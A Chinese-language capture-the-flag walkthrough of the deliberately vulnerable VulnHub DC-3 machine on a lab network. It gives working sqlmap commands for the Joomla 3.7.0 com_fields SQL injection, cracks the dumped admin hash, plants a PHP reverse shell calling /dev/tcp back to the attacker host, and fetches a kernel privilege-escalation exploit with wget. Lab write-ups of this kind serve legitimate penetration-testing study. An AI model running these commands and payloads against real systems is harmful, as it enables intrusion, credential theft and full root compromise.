DC-3
环境搭建
- 靶机镜像下载地址:https://vulnhub.com/entry/dc-32,312/
- 需要将靶机和 kali 攻击机放在同一个局域网里;
- 本实验kali 的 IP 地址:192.168.10.146。
渗透测试
使用 nmap 扫描 192.168.10.0/24 网段存活主机
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
经判断,目标主机IP地址为192.168.10.149。
扫描开放的服务。
访问其Web服务,显示如下,是一个DC-3的登录页
提示如下:
这一次,只有一面旗帜,一个入口点,没有线索。
要获得国旗,您显然必须获得根特权。
你如何扎根取决于你,显然,也取决于系统。
祝你好运-我希望你喜欢这个小挑战。:-)
使用msf中的dir_scanner扫描一下后台
发现有一个http://192.168.10.149:80/administrator/
,经访问,为该网站的后台地址。
网站为joomla!
在msf中搜索joomla相关的脚本,使用joomla_version探测下joomla的版本。
版本为:3.7.0
搜索一个该版本的脚本看一看
看一看该脚本的说明
经分析,是sql注入漏洞。
废话不说,直接使用试一试
没有成功,提示No logged-in Administrator or Super User user found!
。意思是:未找到登录管理员或超级用户用户!
难道还需要有登录的管理员才能利用?
先看看脚本怎么写的再说吧,主要关注有没有给出注入点。
但是,好像没有直接给出注入点。
使用searchsploit在exploit-db中搜索一下 joomla 3.7.0 的脚本吧,看看有么有别的脚本可用。
┌──(root💀kali)-[~]
└─# searchsploit joomla 3.7.0
查看一下php/webapps/42033.txt
文件的内容
但然,直接通过https://www.exploit-db.com搜索也可以。
可以发现,这里直接给出了注入点URL和sqlmap利用方法。
直接上sqlmap。
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.10.149/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
结果如下
跑一下joomladb库中的表
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.10.149/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables
其中的#__users表着重查询下。
获取字段:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.10.149/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" --columns
获取表数据:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.10.149/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C name,password,username --dump
密码是加密过的,没有加密函数只能爆破密码了.
利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明
新建一个文件,将密文写入
使用john对密文进行解密
┌──(root💀kali)-[~]
└─# john a.txt
得出最终的用户名admin,密码snoopy。
登录joomla的后台。
成功登录
根据joomla的特性,可以在模版中编辑模版文件,所以可以利用这一点进行写马。
打开Templates,里面默认有两个模版,选择任意一个即可。
比如将马写入protostar模版的error.php文件中。
// 反弹shell
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.10.146/4444 0>&1' ");
?>
在kali上开启监听:
┌──(root💀kali)-[~]
└─# nc -lvvp 4444
浏览器访问目标网站的 error.php文件(写入马的文件):http://192.168.10.149/templates/protostar/error.php
成功反弹shell。
但是获取到的shell权限比较低。接下来开始提权。
查找一下设置了suid的文件,并没有可以提权的命令。
换一种提权方式
使用各种查看命令,查看一下系统信息
www-data@DC-3:/var/www/html/templates/protostar$ cat /etc/issue
www-data@DC-3:/var/www/html/templates/protostar$ cat /proc/version
www-data@DC-3:/var/www/html/templates/protostar$ uname -a
搜索一下相关的漏洞利用脚本
┌──(root💀kali)-[~]
└─# searchsploit ubuntu 16.04
这里选用一个 4.4.x 相对通用的提权方式(Privilege Escalation表示提权)。
路径在linux/local/39772.txt
,即/usr/share/exploitdb/exploits/linux/local/39772.txt
。
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的链接。
地址如下:
Proof of Concept:
https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552Exploit-DB Mirror:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
使用wget下载,出现404。
┌──(root💀kali)-[~]
└─# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
经查询,换到了一个新的地址:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main/bin-sploits
┌──(root💀kali)-[~]
└─# wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
解压文件
根据前面/usr/share/exploitdb/exploits/linux/local/39772.txt
文件中提到的使用方式进行操作。
需要将exploit.tar上传到目标主机,并解压运行~
kali启动http服务,将exploit.tar文件复制到网站根目录。
┌──(root💀kali)-[~]
└─# systemctl restart apache2 ┌──(root💀kali)-[~]
└─# cp 39772/exploit.tar /var/www/html
在目标机器上使用wget进行下载
www-data@DC-3:/var/www/html/templates/protostar$ wget http://192.168.10.146/exploit.tar
加压exploit.tar文件
进入解压出来的目录
www-data@DC-3:/var/www/html/templates/protostar$ cd ebpf_mapfd_doubleput_exploit/
并按照39772.txt
文件中的方式进行操作。
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./compile.sh
</templates/protostar/ebpf_mapfd_doubleput_exploit$ ./doubleput
已经获取到了root权限,但是没有交互。
利用python获取交互shell。
拿flag!